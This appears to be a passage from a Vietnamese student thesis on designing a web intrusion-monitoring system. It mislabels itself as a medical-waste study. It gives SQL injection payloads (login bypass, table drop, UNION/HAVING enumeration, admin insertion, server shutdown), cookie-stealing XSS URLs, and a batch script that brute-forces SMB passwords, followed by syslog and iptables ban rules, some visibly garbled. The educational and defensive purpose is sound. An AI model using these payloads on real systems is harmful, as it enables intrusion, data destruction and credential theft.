Nguyên lý giám sát phát hiện xâm nhập

Một phần của tài liệu Nghiên cứu thực trạng và một số yếu tố liên quan đến quản lý chất thải y tế tại bệnh viện đa khoa trung ương thái nguyên (Trang 60)

3. Thiết kế xây dựng mô hình hệ thống giám sát

3.4.Nguyên lý giám sát phát hiện xâm nhập

SV: HỒ TRUNG DŨNG 61

Có rất nhiều cách webattack, tuy nhiên có một số cách cơ bản và thông dụng như dưới đây.

+ Sql Injection Attack:

Vượt qua các form đăng nhập

Ví dụ: Giả sử ứng dụng web có đoạn mã sau:

SQLQuery= “SELECT tkUsername FROM User WHERE tkUsername= ‘” & strUsername & “’ AND Password= ‘” & tkPassword & “’”

flag= GetQueryResult (SQLQuery) if flag = “” then

check=FALSE else

check=TRUE end if

Đoạn mã trên kiểm tra chuỗi nhập Username và Password. Nếu tồn tại trong bảng User thì check=true ngược lại check=false.

Giá tri nhập vào là:

Username: ’ OR ‘’=’ Password: ’ OR ‘’=’

Câu lệnh SQL lúc này như sau:

SELECT tkUsername FROM User WHERE tkUsername= ‘’ OR ‘’=’‘ AND Password=‘’ OR ‘’=’’

Câu lệnh so sánh trên luôn luôn đúng (vì ‘’ luôn bằng ‘’). Do đó câu điều kiện trong mệnh đề WHERE luôn đúng. Giá trị tên người sử dụng của dòng đầu tiên trong bảng sẽ được chọn.

Kết hợp với kí tự đặc biệt của SQL :

• kí tự “ ; ” : đánh dấu kết thúc 1 câu truy vấn

• kí tự “ ” : ẩn chuỗi kí tự phía sau nó trên cùng 1 dòng

Username: ’; drop table User^^ Password:

Câu lệnh SQL lúc này như sau:

SELECT tkUsername FROM User WHERE tkUsername= ‘’;drop table User^^ AND Password= ‘” & tkPassword & “’”

Với câu lệnh trên thì bảng User sẽ bị xóa hoàn toàn.

Username: admin’^^ Password:

Câu lệnh SQL như sau:

SELECT tkUsername FROM User WHERE tkUsername= ‘admin’—AND Password= ‘” & tkPassword & “’”

SV: HỒ TRUNG DŨNG 62

Câu lệnh trên cho phép đăng nhập vào hệ thống với quyền admin mà không đòi hỏi password.

Tấn công dưa vào câu lệnh SELECT

Ngoài kĩ thuật đơn giản trên, việc tấn công thường dựa trên những thông báo lỗi để lấy thông tin về bảng cũng như những trường trong bảng. Để làm được điều này, cần phải hiểu những thông báo lỗi và từ đó chỉnh sửa nội dung nhập cho phù hợp.

Khái niệm Direct Injection:

Những đối số được thêm vào trong câu lệnh mà không nằm giữa những dấu nhấy đơn hay dấu ngoặc kép là trường hợp direct injection. (adsbygoogle = window.adsbygoogle || []).push({});

Ví dụ

StrSQL=“SELECT tkUsername FROM User WHERE tkUsername=”& tName Khái niệm Quote Injection:

Những trường hợp đối số được nhập vào đều được ứng dụng cho vào giữa hai dấu nháy đơn hay ngoặc kép là trường hợp Quote Injection.

StrSQL=“SELECT tkUsername FROM User WHERE tkUsername=’”& tName &“’”

Để vô hiệu hoá dấu nháy và thay đổi câu lệnh mà vẫn giữ được cú pháp đúng, chuỗi mã chèn thêm vào phải có một dấu nháy đơn trước chuỗi kí tự được chèn vào và ở cuối câu lệnh phải có một dấu nháy đơn, chẳng hạn như sau:

StrSQL=“SELECT tkUsername FROM User WHERE tkUsername=’’ and‘’=’’”

Nếu đã thực hiện như trên mà thông báo lỗi có liên quan đến dấu “(“ thì trong chuỗi chèn vào phải có “)”:

Ví dụ: Giả sử:

StrSQL=“SELECT tkUsername FROM User WHERE (tkUsername=’”& tName& “’”)

Thì cú pháp hợp lệ như sau:

StrSQL=“SELECT tkUsername FROM User WHERE (tkUsername=’’)or‘’=’’”

Ngoài ra kí tự % thường được dùng trong những trường hợp tìm kiếm thông tin.

StrSQL=“SELECT tkUsername FROM User WHERE tkUsername like ‘% “ &tName & “’”Khoa CNTT

Tấn công dựa vào câu lệnh HAVING

HAVING sử dụng cùng chung với mệnh đề GROUP BY là phương pháp hữu hiệu để nhận thông tin bảng, trường… và sẽ được bàn sâu hơn trong phần 4.

Tấn công dựa vào câu lệnh kết hợp UNION

Lệnh SELECT được dùng để lấy thông tin từ cơ sở dữ liệu. Thông thường vị trí có thể được chèn thêm vào một mệnh đề SELECT là sau WHERE. Để có thể trả về nhiều dòng thông tin trong bảng, thay đổi điều kiện trong mệnh đề WHERE bằng cách chèn thêm UNION SELECT.

SV: HỒ TRUNG DŨNG 63 StrSQL=“SELECT tkUsername FROM User WHERE tkUsername like ‘% “ & tName & “’UNION SELECT tkPassword from User”

Câu lệnh trên trả về một tập kết quả là sự kết hợp giữa tkUsername với tkPassword trong bảng User.

Ghi chú:

• Số cột trong hai câu SELECT phải khớp với nhau. Nghĩa là số lượng cột trong câu lệnh SELECT ban đầu và câu lệnh UNION SELECT phía sau bằng nhau và cùng kiểu. Nhờ vào lỗi cú pháp trả về sau khi chèn thêm câu lệnh UNION mà có thể biết kiểu của mỗi trường.

Sau đây là những ví dụ được thực hiện khi không biết nội dung cơ sở dữ liệu dựa vào HAVING, GROUP BY, UNION:

Ví dụ: Nhắc lại câu truy vấn cần để đăng nhập:

SQLQuery=“SELECT tkUsername,tkPassword FROM User WHERE

tkUsername= ‘” & strUsername & “’ AND Password= ‘” & tkPassword& “’”

Đầu tiên, để biết tên bảng và tên trường mà câu truy vấn sử dụng, sử dụng câu điều kiện “having” , như ví dụ sau:

Giá trị nhập vào:

Username: ’having 1=1^^

Lỗi phát sinh:

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'User.tkUsername' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. (adsbygoogle = window.adsbygoogle || []).push({});

Nhờ vào lỗi phát sinh này mà biết được bảng sử dụng trong câu truy vấn là User và trong bảng tồn tại một trường tên là tkUsername. Sau đó sử dụng GROUP BY:

Ví dụ:

Username: ‘group by User.tkUsername having 1=1^^

Lỗi phát sinh:

[Microsoft][ODBC SQL Server Driver][SQL Server]

Column'User.tkPassword'is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

Như vậy tkPassword là một trường của bảng User và được sử dụng trong câu truy vấn. Tiếp tục dùng GROUP BY cho đến khi biết được tất cả các trường trong bảng User tham gia vào câu truy vấn. Khi không còn báo lỗi cú pháp GROUP BY nữa thì chuyển qua công đoạn kiểm tra kiểu của từng trường trong bảng. Lúc này UNION được sử dụng:

Ví dụ:

Username:’union select sum(tkUsername) from User

Lệnh sum là lệnh tính tổng cho đối số bên trong dấu ngoặc. Đối số phải là kiểu số. Nếu đối số không là kiểu số thì phát sinh lỗi như sau:

SV: HỒ TRUNG DŨNG 64 average aggregate operation cannot take a varchar data type as an argument.

Như vậy với thông điệp lỗi như trên thì tkUsername chắc chắn phải là kiểu “varchar”.

Với phương pháp trên, dễ dàng xác định được kiểu của từng trường trong bảng. Sau khi đã nhận đầy đủ trông tin trên thì hacker dễ dàng tự thêm thông tin vào bảng User.

Ví dụ:

Username:’; insert into User(tkUsername,tkPassword) values (‘admin’, ‘’)^^ Tấn công dưa vào lệnh INSERT

Từ khoá INSERT dùng để đưa thông tin vào cơ sở dữ liệu. Thông thường câu lệnh INSERT được dùng trong các trường hợp như: thông tin đăng kí người sử dụng, guestbook…v..v…

Kĩ thuật “;”, “ “ được dùng như đã từng dùng với câu lệnh SELECT, phải đảm bảo đúng số lượng và kiểu giá trị được nhập vào nhằm tránh lỗi về cú pháp (nếu không xác định được kiểu dữ liệu có thể nhập tất cả là số).

Ví dụ:

SQLString= “INSERT INTO User VALUES (‘” & strUsername & “’, ‘” & strName& “’, ‘” & strPassWord & “’,’”& strLimitSize & “’)”

Tấn công dưa vào STORED PROCEDURE

Stored Procedure được sử dụng trong lập trình Web với mục đích giảm sự phức tạp trong ứng dụng và tránh sự tấn công trong kĩ thuật SQL Injection. Tuy nhiên hacker vẫn có thể lợi dụng những Stored Procedure để tấn công vào hệ thống.

Ví dụ: Stored procedure sp_login gồm hai tham số là username và password. Nếu nhập:

Username: nhimmap Password: ‘;shutdown^^

Lệnh gọi stored procedure như sau:

exec sp_login ‘nhimmap’,‘’;shutdown^^’

Lệnh shutdown thực hiện dừng SQL Server ngay lập tức.

Tấn công XSS:

Thông thường hacker lợi dụng địa chỉ URL để đưa ra những liên kết là tác nhân kích hoạt những đoạn chương trình được viết bằng ngôn ngữ máy khách như VBScript, JavaScript…được thực thi trên chính trình duyệt của nạn nhân.

http://yourdomains.com/index1.html?tw=<script>alert(document.cookie);</script>

hay: (adsbygoogle = window.adsbygoogle || []).push({});

http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/im_search_exe?search_text=% 3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E

Phần in đậm là đoạn mã được thêm vào với mục đích đánh cắp cookies của nạn nhân. Trong những ví dụ trên, hầu hết những tiền tố URL là địa chỉ của những ứng dụng Web có thật (VD: http://www.microsoft.com/education,

SV: HỒ TRUNG DŨNG 65

http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/...) lợi dụng cách truyền tham số trên URL mà hacker có thể dễ dàng thêm vào đoạn mã đánh cắp cookie.

Tấn công Brute Force:Vét cạn phiên làm việc

Hacker có thể tự tạo một chương trình gửi nhiều yêu cầu trong một khoảng thời gian đến trình chủ. Mỗi một yêu cầu kèm theo một session ID để tìm các sessionID đang tồn tại. Hacker dựa vào thói quen của những nhà phát triển ứng dụng lấy thời gian hay địa chỉ IP của người dùng để tạo sessionID để hạn chế vùng vét cạn.

Ví dụ:

Câu lệnh net use dưới đây cho phép tạo session kết nối với máy chủ net use \\ipc$ /user:

Sau đó hacker có thể viết một đoạn code lưu dưới dạng file chạy netuse.bat: @echo off

net use \\%1\ipc$ "%3" /user:"%2" if errorlevel 1 goto exit

cls echo.

echo Crack password successfully! echo IP Address: %1 echo Username: %2 echo Password: %3 echo. > \end.bat \end.bat > NUL :exit

để file này thực hiện việc kiểm tra và kết thúc vòng lặp nếu tìm ra password. for /f %%i in (dic.txt) do netuse.bat %%i

Trong các tập lệnh .bat hỗ trợ biến “error level” có giá trị từ 0 đến 255, nếu biến này bằng 0 nghĩa là thực hiện thành công, ngược lại nghĩa là không thành công. If errorlevel 1 goto exit

Câu lệnh trên mô tả: nếu errolevel >1 thì nhảy đến exit (thực sự là không làm gì cả, thoát khỏi chương trình và trở lại thực hiện lệnh net use với password mới), ngược lại nếu errorlevel =0 thì sẽ thực hiện câu lệnh kế tiếp.

3.4.2. Mô tả cách thức lưu của filelogs

Hệ thống sẽ đọc syslog của hệ thống webserver linux để phân tích trạng thái của các truy cập.

SV: HỒ TRUNG DŨNG 66

a. Cấu hình syslogd

Những hành vi của syslogd được kiểm soát bởi file cấu hình của nó

/etc/syslog.conf . File text này cho biết những gì được log và log vào đâu. Mỗi dòng sẽ

chứa đựng lời chỉ dẫn theo dạng:

facility.level action

Lời chỉ dẫn này có nghĩa:

facility: đại diện cho đối tượng tạo ra thông báo (kernel, process), nó có thể nhận

những giá trị sau:

´ auth: sử dụng cho những sự kiện bảo mật

´ authpriv: các thông báo liên quan đến kiểm soát truy cập và bảo mật

´ cron: cron daemon

´ daemon: sử dụng bởi các tiến trình hệ thống và các daemons khác (adsbygoogle = window.adsbygoogle || []).push({});

´ kern: các thông báo từ kernel ´ lpr: hệ thống in ấn

´ mark: những thông báo được generated bởi bản thân syslogd. Nó chỉ chứa một biến timestamp và một chuỗi " MARK ".

´ news: hệ thống tin tức

´ syslog: những thông báo được generated bởi bản thân syslogd.

´ user: thông báo về cấp người dùng chung ´ uucp: hệ thống con UUCP

´ local0 to local7: dự trữ cho sử dụng nội bộ

Việc sử dụng facility cho phép bạn kiểm soát địa chỉ đến của messages dựa trên nguồn gốc của nó.

level: xác định một ngưỡng mà messages sẽ được logged. level có thể nhận các giá

trị sau:

´ debug: các messages ở chế độ debug

´ info: messages mang thông tin

´ notice: messages mang tính chất thông báo

´ warning (hoặc warn): messages cảnh báo

´ err (hoặc error): messages lỗi ´ crit: messages nguy hiểm

´ alert: messages về các hành động phải được thực hiện ngay

SV: HỒ TRUNG DŨNG 67

Ngoài ra còn một mức đặc biệt được gọi là none, mức này sẽ disable facility đi cùng. level định nghĩa một số lượng các bản ghi chi tiết trong log file. Dấu sao [*] có thể được sử dụng để miêu tả cho tất cả các facilities hoặc tất cả các levels.

action: đại diện cho địa chỉ của messages tương ứng với facility.level. action có

thể là một tên file, một host name đứng trước ký tự @, hoặc một danh sách người dùng ngăn cách bằng dấu phảy, hoặc một dấu *.

Ví dụ, để theo dõi các daemon chúng ta sẽ thêm 1 dòng vào /etc/syslog.conf như sau:

Code:

# Define a new log file for daemon facility daemon.* /var/log/daemon.log

3.5. Hoạt động của chương trình

Chương trình sẽ tìm (đọc) các dòng (lines) được thêm vào mới từ các logfiles đã được cấu hình để đưa vào giám sát. Sau đó các thành phần của các URI mà các logfiles ghi lại sẽ được so sành với các mẫu mà nhà quản trị cấu hình. Các mẫu này sẽ chứa các Regex để so sánh kèm theo các thông báo nếu phát hiện các xâm nhập không hợp lệ. Các IP có xâm nhập không hợp lệ sẽ bị chặn lại (drop) bằng các luật được config trong firewall và được cho vào Banned list. Các IP này sẽ không thể truy cập vào server trong maxage được config sẵn, sau thời gian này, các luật chặn của firewall đối với IP này sẽ bị bỏ và IP này sẽ được remove ra khỏi banned list.

3.6. Các thông số chính của chương trình

Các config file có trên hệ thống

Workdir Thư mục chứa các file hoạt động của chương trình

Patterns Chứa các mẫu để so sánh với các log file từ hệ thống log server

Firewall Chứa các tập luật được định nghĩa sẵn nhằm xử lý các xâm nhập bất hợp pháp

Banlist Tập hợp các IP bị chặn và thời gian chặn các IP đấy (adsbygoogle = window.adsbygoogle || []).push({});

Pidfile Lưu giữ thông tin Process ID (pid) của chương trình

Maxatt Số tối đa một IP có thể thực hiện xâm nhập vào webserver trước khi bị Block

Mailto Email sẽ nhận được các báo cáo về các IP bị chặn

Logpri Thứ tự ưu tiên các log file khi kiểm tra

SV: HỒ TRUNG DŨNG 68

Alert LOG_ALERT : Lưu các thông báo có tính báo động của hệ thống webserver.

Crit LOG_CRIT : Lưu các thông báo có tính nguy cấp của hệ thống webserver.

Debug LOG_DEBUG: Lưu các thông tin về sửa lỗi của hệ thống emerg LOG_EMERG: Lưu các cảnh báo có tính nguy cấp của hệ

thống. Thông thường cảnh báo trước khi server down.

err LOG_ERR : Lưu trữ các thông báo lỗi của các service trên hệ thống webserver.

info LOG_INFO : Lưu giữ thông tin của các thông báo từ hệ thống.

notice LOG_NOTICE : Lưu trữ các thông báo có tính lưu ý, là thông báo bình thường nhưng khá quan trọng.

warning LOG_WARNING: Lưu giữ các cảnh báo của hệ thống webserver.

auth LOG_AUTH: Lưu giữ các thông báo về phân quyền và bảo mật của hệ thống.

authpriv LOG_AUTHPRIV: Cũng giống như LOG_AUTH nhưng các thông báo mạng tính private.

cron LOG_CRON: Lưu giữ các thông báo liên quan đến các chương trình chạy theo lịch đặt sẵn (Cron).

daemon LOG_DAEMON: Lưu giữ các thông báo từ các daemon. kern LOG_KERN: Lưu giữ các thông báo từ Kernel của OS

mail LOG_MAIL: Lưu giữ các thông báo của hệ thống mail của webserver.

news LOG_NEWS: Các thông tin vận hành của webserver.

syslog LOG_SYSLOG: Lưu trữ các thông tin về các ứng dụng của hệ thống.

user LOG_USER: Lưu giữ thông tin chung về level của users . local0 7 LOG_LOCAL0 LOG_LOCAL7: Thông tin về các lưu trữ nội

bộ.

+ Các luật được lưu trong firewall :

Hai hệ thống tập luật dưới đây sẽ thực hiện cấm hay cho phép các IP được xác định là xâm nhập bất hợp pháp truy cập trở lại hay không. Các allow rules để cho phép các IP bị block (cấm truy cập) có thể được truy cập trở lại. Còn reject rules thì có ý nghĩa ngược lại. Các quy tắc trong tập luật reject sẽ cấm các IP có dấu hiệu xâm nhập sau khi nhận được cảnh báo từ khối IPController.

SV: HỒ TRUNG DŨNG 69 reject=inrej,outrej,fwdrej

inprej=/sbin/iptables ^I INPUT ^s %i ^j DROP outrej=/sbin/iptables ^I OUTPUT ^d %i ^j DROP fwdrej=/sbin/iptables ^I FORWARD ^d %i ^j DROP # Allow rules for IPCHAINS

allow=inalw,outalw,fwdalw

inpalw=/sbin/iptables ^D INPUT ^s %i ^j DROP outalw=/sbin/iptables –D OUTPUT ^d %i ^j DROP fwdalw=/sbin/iptables –D FORWARD ^d %i ^j DROP

Dòng đầu tiên của hai hệ thống tập luật trên là 2 dòng chú thích chung cho hai tập luật bao gồm các quy tắc nhỏ (chains):

Dòng thứ 2 ấn định các tham số của các biến (reject và allow): (adsbygoogle = window.adsbygoogle || []).push({});

Với Reject rules thì đó là : inrej, outrej và fwdrej và inalw,outalw,fwdalw với allow rules.

Các biến này sẽ được ấn định giá trị chứa iptable binary tại /sbin/iptables

Dòng 3, 4, 5 sẽ từ chối (cấm) tất cả các gói tin đi vào (input), đi ra (output ) hay các gói tin đi đến server khác (forward) nếu nó không phù hợp.

+ Một số mẫu được đưa vào thử nghiệm trong chương trình:

SV: HỒ TRUNG DŨNG 70

CHƯƠNG IV. THỬ NGHIỆM VÀ ĐÁNH GIÁ HỆ THỐNG GIÁM SÁT

4.1. Mô tả giao diện của chương trình

Một phần của tài liệu Nghiên cứu thực trạng và một số yếu tố liên quan đến quản lý chất thải y tế tại bệnh viện đa khoa trung ương thái nguyên (Trang 60)